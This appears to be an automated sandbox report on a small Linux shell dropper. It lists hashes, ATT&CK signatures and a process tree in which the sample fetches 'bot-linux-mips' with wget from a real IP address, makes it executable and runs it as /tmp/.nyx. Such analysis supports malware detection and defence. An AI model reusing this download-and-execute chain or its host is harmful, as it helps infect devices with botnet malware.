Analysis
- max time kernel
32s - max time network
26s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
29/10/2026, 22:22
Static task
static1
Behavioral task
behavioral1
Sample
de02c9eeae1c6e53e582de40a40cd9f1
Resource
ubuntu1804-amd64-20261019-en
Behavioral task
behavioral2
Sample
de02c9eeae1c6e53e582de40a40cd9f1
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
de02c9eeae1c6e53e582de40a40cd9f1
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
de02c9eeae1c6e53e582de40a40cd9f1
Resource
debian9-mipsel-20260513-en
General
- Target de02c9eeae1c6e53e582de40a40cd9f1
- Size 577B
- Sample261029-2ajbqsttft
- SHA256 7e9b5454e72923f97e7ba34e5b5bba0a7eae2414382e62a17f52e647bf04944c
- MD5 de02c9eeae1c6e53e582de40a40cd9f1
- SHA1 020422142cd884e151e4e9bfda6a787f012169d1
- SHA512 ac137b5220d4e315c19bd470a6eb90ad8edd464e931a2a7b79900f307c2c8ad84cd58a2274b8cdade8af9da13ff641d5432bf83873915c39755a0bdb4e852051
- TLSH T158F0C8DDA5306526B68C6C38B6060268EDA548ABDA40EC0590C9DF130948588F17CFA1
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 818 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/.nyx 819 de02c9eeae1c6e53e582de40a40cd9f1 -
resource yara_rule behavioral3/files/fstream-1.dat upx - Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size .nyx -
description ioc Process File opened for reading /proc/self/exe .nyx - System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 721 wget - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.nyx wget
Processes
-
/tmp/de02c9eeae1c6e53e582de40a40cd9f1/tmp/de02c9eeae1c6e53e582de40a40cd9f11⤵
- Executes dropped EXE
PID:714 -
/bin/unameuname -m2⤵PID:716
-
-
/bin/rmrm -f .nyx2⤵PID:718
-
-
/usr/bin/wgetwget http://85.215.73.250/bot-linux-mips -O .nyx2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:721
-
-
/bin/chmodchmod 777 .nyx2⤵
- File and Directory Permissions Modification
PID:818
-
-
/bin/rmrm -f .nyx2⤵PID:820
-
-
/tmp/.nyx./.nyx2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:819
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path /tmp/.nyx
- Size 1.8MB
- SHA256 a4c02aebb5ad887e1cac41a51d95e5e6c26a0e6ed432b5acbd4c861b9200196d
- MD5 91ca1abed2fe4e616aac9e0ff70cd575
- SHA1 0c069c9ed278fb196ded13bb5ce3984580174823
- SHA512 ad291856d9dcb16e203f91efbf0b876fc45d0a105fe648a78543736a7e9a5535fc8e88953cf5e432c34c532918eaea4d96c640f8cd1cb496254f651e842d2a31
- SSDEEP 24576:fDlvRQA6wddZvEHcD2Vj2elXHRbs4LVHpNNHGWOyXVx2xMxMnJwKzS5N0G:bluAzB67dxwgvNmDaVEx1JlzMN0G
- TLSH T16885330B9606D2DA48ACBF6F476C52E599704DE7DCC1B388499D8436EA31988FEC17CC
- MD5 SHA1 SHA512 SSDEEP TLSH